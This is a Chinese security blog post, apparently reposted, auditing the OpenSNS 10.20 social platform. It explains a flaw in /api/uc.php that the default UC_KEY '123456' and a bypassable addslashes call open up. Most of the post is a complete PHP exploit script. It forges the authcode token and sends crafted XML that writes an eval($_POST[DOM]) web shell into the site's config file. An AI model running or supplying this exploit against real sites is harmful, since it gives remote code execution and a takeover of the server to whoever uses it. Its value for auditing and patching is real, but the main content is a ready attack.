代码审计

opensns最新版10.20无限制Getshell

字号+ 作者:0day5 来源:转载 2016-12-24 14:14 我要评论( )

这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上 43-48行 $code = @$_GET[code]; parse_str(_authcode($code, DECODE, UC_KEY), $get); if(MA......

这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上

变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中,如果GPC开启则stripslashes取消转义
我们再来看函数_authcode

而程序默认安装的UC_KEY 为123456,_authcode算法自行加密,那么所有请求几乎无视GPC。又回到/api/uc.php

又看到这一句
$configfile = preg_replace(“/define\(‘UC_API’,\s*’.*?’\);/i”, “define(‘UC_API’, ‘”.addslashes($UC_API).”‘);”, $configfile); //修复漏洞 –駿濤
这里虽然有addslashes,但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的,所以无视函数,随意写入一句话代码

我们开启UC在/api/config.php
define(‘UC_SYNC’, 1); 设为1就为开启
Getshell

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<?php
 
// 代码版权归原作者所有!
 
    $timestamp = time()+10*3600;
 
    $host="localhost";
 
    $uc_key="123456";
 
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
 
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
 
<root>
 
<item id="UC_API">http://localhost/ucenter\');eval($_POST[DOM]);//</item>
 
</root>';
 
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
 
<root>
 
<item id="UC_API">http://localhost/ucenter</item>
 
</root>';
 
    $html1 = send($cmd1);
 
    echo $html1;
 
    $html2 = send($cmd2);
 
    echo $html2;
 
 
 
 
 
function send($cmd){
 
    global $host,$code;
 
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
 
    $message .= "Accept: */*\r\n";
 
    $message .= "Referer: ".$host."\r\n";
 
    $message .= "Accept-Language: zh-cn\r\n";
 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
 
    $message .= "Host: ".$host."\r\n";
 
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
 
    $message .= "Connection: Close\r\n\r\n";
 
    $message .= $cmd;
 
 
 
    //var_dump($message);
 
    $fp = fsockopen($host, 80);
 
    fputs($fp, $message);
 
 
 
    $resp = '';
 
 
 
    while ($fp && !feof($fp))
 
        $resp .= fread($fp, 1024);
 
 
 
    return $resp;
 
}
 
 
 
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
        $ckey_length = 4;
 
 
 
        $key = md5($key ? $key : UC_KEY);
 
        $keya = md5(substr($key, 0, 16));
 
        $keyb = md5(substr($key, 16, 16));
 
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
 
 
        $cryptkey = $keya.md5($keya.$keyc);
 
        $key_length = strlen($cryptkey);
 
 
 
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
 
        $string_length = strlen($string);
 
 
 
        $result = '';
 
        $box = range(0, 255);
 
 
 
        $rndkey = array();
 
        for($i = 0; $i <= 255; $i++) {
 
                $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 
        }
 
 
 
        for($j = $i = 0; $i < 256; $i++) {
 
                $j = ($j + $box[$i] + $rndkey[$i]) % 256;
 
                $tmp = $box[$i];
 
                $box[$i] = $box[$j];
 
                $box[$j] = $tmp;
 
        }
 
 
 
        for($a = $j = $i = 0; $i < $string_length; $i++) {
 
                $a = ($a + 1) % 256;
 
                $j = ($j + $box[$a]) % 256;
 
                $tmp = $box[$a];
 
                $box[$a] = $box[$j];
 
                $box[$j] = $tmp;
 
                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 
        }
 
 
 
        if($operation == 'DECODE') {
 
                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
 
                        return substr($result, 26);
 
                } else {
 
                                return '';
 
                        }
 
        } else {
 
                return $keyc.str_replace('=', '', base64_encode($result));
 
        }
 
 
 
}
 
?>

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/hack/Code/476.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • OpenSNS任意文件删除+IIS6.0(getshell)

    OpenSNS任意文件删除+IIS6.0(getshell)

    2016-12-24 14:29

网友点评
暂时未开启评论功能~